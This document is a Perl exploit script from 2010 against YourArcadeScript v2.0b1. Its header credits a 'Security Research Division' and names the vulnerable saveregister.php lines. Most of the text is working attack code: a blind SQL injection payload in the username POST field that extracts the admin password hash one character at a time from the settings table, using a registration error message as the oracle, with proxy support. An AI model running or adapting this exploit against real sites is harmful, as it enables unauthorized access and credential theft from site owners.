#!/usr/bin/perl use LWP::UserAgent; use HTTP::Request::Common qw(POST); use Getopt::Long; # \#'#/ # (-.-) # ------------------oOO---(_)---OOo----------------- # | __ __ | # | _____/ /_____ ______/ /_ __ ______ ______ | # | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ | # | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) | # | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ | # | Security Research Division /____/ 2o1o | # -------------------------------------------------- # | YourArcadeScript v2.0b1 Blind SQL Injection | # -------------------------------------------------- # [!] Discovered by.: DNX # [!] Homepage......: http://starbugs.host.sk # [!] Vendor........: http://www.yourarcadescript.com # [!] Detected......: 21.05.2010 # [!] Reported......: 22.05.2010 # [!] Response......: xx.xx.2010 # # [!] Background....: Our script has features that other scripts have but ours is # FREE! YourArcadeScript is a free arcade script, but can be # used for pictures, youtube, or other media files. # # [!] Requirements..: magic_quotes_gpc = Off # # [!] Bug...........: $_POST["username"] in includes/saveregister.php near line 3 # # 03: $username=$_POST["username"]; # # 11: $res=mysql_query("select * from user where username like '$username'") or die(mysql_error()); # if(!$ARGV[1]) { print "\n \\#'#/ "; print "\n (-.-) "; print "\n --------------------oOO---(_)---OOo--------------------"; print "\n | YourArcadeScript v2.0b1 Blind SQL Injection Exploit |"; print "\n | coded by DNX |"; print "\n -------------------------------------------------------"; print "\n[!] Usage: perl yas.pl [Host] [Path] "; print "\n[!] Example: perl yas.pl 127.0.0.1 /yas/"; print "\n[!] Options:"; print "\n -p [ip:port] Proxy support"; print "\n"; exit; } my %options = (); GetOptions(\%options, "p=s"); my $ua = LWP::UserAgent->new(); my $host = $ARGV[0]; my $path = $ARGV[1]; my $target = "http://".$host.$path; if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); } print "[!] Exploiting...\n"; go(); print "\n[!] Exploit done\n"; sub go { syswrite(STDOUT, "[!] Get Admin Password: ", 24); for(my $i = 1; $i <= 32; $i++) { my $found = 0; my $h = 48 ; while(!$found && $h <= 102) { if(exploit($i, $h)) { $found = 1; syswrite(STDOUT, chr($h), 1); } $h++; if($h == 58) { $h = 97; } } } } sub exploit { my $i = shift; my $h = shift; my $url = $target."includes/saveregister.php"; my $inj = "_#1337#_' or substring((select password FROM settings limit 1),".$i.",1)=CHAR(".$h.")/*"; my $req = POST $url, [username => $inj]; my $res = $ua->request($req); if($res->content =~ /Sorry username exists register again/s) { return 1; } else { return 0; } }